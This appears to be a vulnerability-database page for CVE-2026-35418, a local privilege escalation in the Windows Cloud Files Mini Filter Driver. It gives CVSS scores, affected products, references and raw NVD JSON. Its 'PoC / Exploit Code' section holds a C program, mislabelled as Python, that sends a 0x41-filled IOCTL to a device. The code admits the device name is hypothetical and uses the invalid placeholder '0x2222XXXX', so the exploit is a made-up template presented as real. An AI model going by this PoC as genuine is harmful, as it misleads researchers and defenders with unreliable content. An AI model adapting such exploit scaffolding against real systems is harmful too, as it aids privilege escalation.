CVE-2026-35418

Description

Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:arm64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x86:* - VULNERABLE

Windows 10 (多个版本)

Windows 11 (多个版本)

Windows Server 2016

Windows Server 2019

Windows Server 2022

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <windows.h>
#include <stdio.h>

/*
 * PoC for CVE-2026-35418
 * Vulnerability: Use After Free in Windows Cloud Files Mini Filter Driver
 * Impact: Local Privilege Escalation
 */

#define DEVICE_NAME "\\\\.\\CloudFilesFilter" // Hypothetical device name
#define IOCTL_TRIGGER 0x2222XXXX // Hypothetical IOCTL

int main() {
    HANDLE hDevice;
    DWORD bytesReturned;
    char inputBuffer[0x100];

    printf("[*] Starting PoC for CVE-2026-35418...\n");

    // 1. Open a handle to the target device
    hDevice = CreateFileA(DEVICE_NAME,
                          GENERIC_READ | GENERIC_WRITE,
                          0,
                          NULL,
                          OPEN_EXISTING,
                          FILE_ATTRIBUTE_NORMAL,
                          NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open device. Error: %d\n", GetLastError());
        return 1;
    }

    printf("[+] Device handle opened.\n");

    // 2. Prepare the trigger buffer
    memset(inputBuffer, 0x41, sizeof(inputBuffer));

    // 3. Send the IOCTL to trigger Use-After-Free
    printf("[*] Sending malicious IOCTL to trigger vulnerability...\n");
    BOOL result = DeviceIoControl(hDevice,
                                  IOCTL_TRIGGER,
                                  inputBuffer,
                                  sizeof(inputBuffer),
                                  NULL,
                                  0,
                                  &bytesReturned,
                                  NULL);

    if (result) {
        printf("[+] IOCTL sent successfully. Exploit logic triggered.\n");
    } else {
        printf("[-] IOCTL failed. Error: %d\n", GetLastError());
    }

    CloseHandle(hDevice);
    printf("[*] PoC finished.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35418
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35418
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35418/
[4] VulDB https://vuldb.com/cve/CVE-2026-35418
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35418

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35418", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:12.277", "lastModified": "2026-05-14T15:53:46.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}, {"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8755", "matchCriteriaId": "94017187-8A34-41BB-A49E-0FA6986E8CB8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8755", "matchCriteriaId": "BB81D249-7566-44B7-914C-A3674CE87AFB"}, {"vulnerable": true, "criteria": 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